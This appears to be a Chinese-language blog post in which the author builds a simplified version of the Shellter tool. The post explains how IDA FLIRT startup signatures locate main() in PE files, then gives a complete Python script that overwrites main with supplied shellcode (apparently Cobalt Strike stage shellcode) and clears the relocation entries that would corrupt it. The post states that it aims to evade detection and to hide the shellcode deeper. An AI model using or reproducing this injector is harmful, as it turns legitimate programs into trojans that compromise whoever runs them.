前言
最近二开CS顺便学习二进制研究之前的工具,看到了很早之前的工具shellter
,细看之下感觉虽然是很多年前的工具,但思想完全不输现在的各种loader,核心思路应该是分析PE文件执行流,然后在某个必经的执行路径上面patch shellcode,其中似乎涉及了IAT windows api调用劫持?之类的技术,不过现在特征过于明显了。
打算写个简陋版的自用,以下以Everything.exe x64与x86为例
找Main函数
首先是确定patch位置,OEP肯定不行太明显了,然后是CRT也不行,最好是进入main函数后搞个AST之类的分析必经路径或者和shellter
一样劫持系统调用
如何找到main并过滤各种系统调用?
打开IDA然后开始找特征
在分析了各种PE后,没找到特别方便的特征,三个push或者三个mov一个call写起规则来十分不优雅。
但发现每次IDA都能精准的识别出来main函数,为什么?
总所周知,IDA核心技术之一就是名为IDA FLIRT Signatures
的大量签名库,通过这些签名它能够精准识别各种系统调用以及其他由编译器自动生成的规律性的代码,而其中就有一种特殊的签名启动签名
,专门用来识别CRT来确定编译器类型并定位main函数
其中启动签名的pat模板文件在IDA SDK的flair/startup文件夹下,而打包好的签名都在sig文件下,通过startup.bat能看出来启动签名被打包为了pe.sig与pe64.sig
sig是一个前缀树之类的结构,将前缀相同的放到一个根下,大概是这种结构
33C0:
40C20C00:
0. 00 0000 0006 0000:o=2:ulink:a=104:m=+E(+5*0c&~-/VirtualProtect~)??*0d&/entry:S=0/pe
C20800:
0. 00 0000 0005 0000:o=2:ulink:a=104:m=+9!^:S=0/pe
50:
5053:
5556578B5C241C8B7424208B6C2424FF15........89442410A9000000:
0. 29 5F3D 0154 0000:o=2:a=104:dm32rw32:m=+141^/_DllMain@12
8B5C2410558B6C241C568B74241C57FF15........A900000080894424:
0. 29 6A3B 0166 0000:o=2:a=104:dm32rw32:m=+BF^/_DllMain@12
6A00E8........BA........528905........894204C7420800000000C742:
0. 06 3DAD 0032 0000:o=2:a=10C:b32vcl
flair/bin/**/dumpsig可以将sig解析为可阅读的内容
Pattern: 33C040C20C00
0000:o=2:ulink:a=104:m=+E(+5*0c&~-/VirtualProtect~)??*0d&/entry:S=0/pe
Pattern: 33C0C20800
0000:o=2:ulink:a=104:m=+9!^:S=0/pe
Pattern: 5050535556578B5C241C8B7424208B6C2424FF15........89442410A9000000
0000:o=2:a=104:dm32rw32:m=+141^/_DllMain@12
Pattern: 5050538B5C2410558B6C241C568B74241C57FF15........A900000080894424
0000:o=2:a=104:dm32rw32:m=+BF^/_DllMain@12
Pattern: 506A00E8........BA........528905........894204C7420800000000C742
0000:o=2:a=10C:b32vcl
以能匹配到32位Everything.exe的签名为例:
Pattern: 6A6068........E8........8365FC008D459050FF15........C745FCFEFFFF
0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+171^[_wWinMain@16]~msmfc2u/~@vc32mfc@;
0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+172^[_WinMain@16]~msmfc2/~@vc32mfc@;
这个则是Everything.exe 32位的___tmainCRTStartup
函数
匹配完成后,IDA将解析后面的配置,大概是os类型为2(win),app类型为104,接下来使用vc32rtf.sig进行解析,编译器为vc32mfc等信息。
对我们有用的是m=+171^[_wWinMain@16] 与 m=+172^[_WinMain@16]
,表明了main函数相对于___tmainCRTStartup
的偏移量,这里有两个叶子节点,表示可能是171或者172,但只要查看那个地址是不是E8 call
就可以确定了(正常情况下sig还包括CRC校验,Tail bytes,函数长度等校验方式,但没详细文档所以等出现碰撞再说吧)。
sig是有压缩的且启动签名的文档不是很全,此时有两个选择:
一:逆向dumpsig,通过sig写一个极其优雅的树与前缀匹配;
二:执行dumpsig,写一个丑陋的暴力正则匹配
二写起来快一点
def extract_patterns_and_m_values(file_path):
patterns = {}
with open(file_path, 'r', encoding='utf-8') as file:
content = file.read()
sections = content.strip().split('\n\n')
for section in sections:
pattern_match = re.search(r'Pattern:\s*(.+)', section)
m_values = re.findall(r'm=[+-]([0-9A-Fa-f]+)', section)
if pattern_match:
pattern = pattern_match.group(1).strip()
filtered_m_values = [
m.strip() for m in m_values if re.match(r'.*[0-9A-Fa-f]$', m.strip())
]
if filtered_m_values:
patterns[pattern] = filtered_m_values
return patterns
def search_bytes_in_file(data, pattern):
pattern = pattern.replace('..', r'.{1}')
pattern = re.sub(r'([0-9A-Fa-f]{2})', r'\\x\1', pattern)
regex = bytes(pattern, 'utf-8')
match = re.search(regex, data)
return match
def get_main_offset(data, pattern_path):
patterns = extract_patterns_and_m_values(pattern_path)
for pattern, m_values in patterns.items():
match = search_bytes_in_file(data, pattern)
if match:
# print(match.start())
for m in m_values:
if data[match.start() + int(m, 16)] == 0xE8:
call_main_offset = match.start() + int(m, 16)
return call_main_offset
return 0
重定位表
生成个shellcode,先patch到main函数试试水,结果运行后毫无反应,只能调试看看了。
看看patch后的代码:
一模一样,没有问题,运行看看
89 85 7C FF FF FF
变成89 85 7C FF FF 8A
了
看一眼加载的地址,IDA静态分析时给出的期望地址是.text:004A49A7
,但实际加载出来的是.text:00D549A7
,想一想能在运行开始就修改代码的东西,九成是重定位表的问题。
果然有个块指向这个位置
解决这个就很简单了,把指向这个范围内的所有重定位块全清零就好(如果觉得特征明显也可以改成其他内容)
def modify_relocation_entries(pe, target_rva_start, target_rva_end):
if not hasattr(pe, 'DIRECTORY_ENTRY_BASERELOC'):
print("No Base Relocation Table found.")
return
# 遍历每个重定位块
for base_reloc in pe.DIRECTORY_ENTRY_BASERELOC:
# 遍历重定位条目
new_entries = [] # 用于保存修改后的条目
for entry in base_reloc.entries:
entry_rva = entry.rva
# print(f"Modifying Relocation Entry RVA: 0x{entry_rva:X}")
if target_rva_start <= entry_rva <= target_rva_end:
# print(f"Modifying Relocation Entry RVA: 0x{entry_rva:X}")
entry.type = 0
entry.rva = 0
else:
new_entries.append(entry)
base_reloc.entries = new_entries
完整代码&项目
import re
import argparse
import pefile
def extract_patterns_and_m_values(file_path):
patterns = {}
with open(file_path, 'r', encoding='utf-8') as file:
content = file.read()
sections = content.strip().split('\n\n')
for section in sections:
pattern_match = re.search(r'Pattern:\s*(.+)', section)
m_values = re.findall(r'm=[+-]([0-9A-Fa-f]+)', section)
if pattern_match:
pattern = pattern_match.group(1).strip()
filtered_m_values = [
m.strip() for m in m_values if re.match(r'.*[0-9A-Fa-f]$', m.strip())
]
if filtered_m_values:
patterns[pattern] = filtered_m_values
return patterns
def search_bytes_in_file(data, pattern):
pattern = pattern.replace('..', r'.{1}')
pattern = re.sub(r'([0-9A-Fa-f]{2})', r'\\x\1', pattern)
regex = bytes(pattern, 'utf-8')
match = re.search(regex, data)
return match
def get_main_offset(data, pattern_path):
patterns = extract_patterns_and_m_values(pattern_path)
for pattern, m_values in patterns.items():
match = search_bytes_in_file(data, pattern)
if match:
# print(match.start())
for m in m_values:
if data[match.start() + int(m, 16)] == 0xE8:
call_main_offset = match.start() + int(m, 16)
return call_main_offset
return 0
def modify_relocation_entries(pe, target_rva_start, target_rva_end):
if not hasattr(pe, 'DIRECTORY_ENTRY_BASERELOC'):
print("No Base Relocation Table found.")
return
for base_reloc in pe.DIRECTORY_ENTRY_BASERELOC:
new_entries = []
for entry in base_reloc.entries:
entry_rva = entry.rva
# print(f"Modifying Relocation Entry RVA: 0x{entry_rva:X}")
if target_rva_start <= entry_rva <= target_rva_end:
# print(f"Modifying Relocation Entry RVA: 0x{entry_rva:X}")
entry.type = 0
entry.rva = 0
else:
new_entries.append(entry)
base_reloc.entries = new_entries
def patch_pe(pe_file_path, shellcode_path):
with open(shellcode_path, 'rb') as f:
shellcode = f.read()
shellcode_size = len(shellcode)
pe = pefile.PE(pe_file_path)
with open(pe_file_path, 'rb') as f:
data = f.read()
file_type = 32 if pe.FILE_HEADER.Machine == pefile.MACHINE_TYPE['IMAGE_FILE_MACHINE_I386'] else 64
pattern_path = 'pe.txt' if file_type == 32 else 'pe64.txt'
call_main_offset = get_main_offset(data, pattern_path)
if call_main_offset == 0:
print("Cant pattern crt or main!")
else:
call_main_rva = pe.get_rva_from_offset(call_main_offset)
relative_offset = int.from_bytes(data[call_main_offset + 1: call_main_offset + 5], 'little', signed=True)
main_rva = call_main_rva + relative_offset + 5
main_offset = pe.get_offset_from_rva(main_rva)
print(f"Main RVA: 0x{main_rva:X}, Main offset: 0x{main_offset:X}")
modify_relocation_entries(pe, main_rva, main_rva + shellcode_size)
output_file_path = 'output.exe'
pe.write(output_file_path)
with open(output_file_path, 'rb+') as f:
f.seek(main_offset)
f.write(shellcode)
print(f"Patch PE file saved as: {output_file_path}")
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='')
parser.add_argument('pe_file_path', help='pe_file_path')
parser.add_argument('shellcode_path', help='stage_shellcode_path')
args = parser.parse_args()
patch_pe(args.pe_file_path, args.shellcode_path)
TODO:
搞个AST之类的,把shellcode藏得再深一点
参考
IDA Pro权威指南(第二版)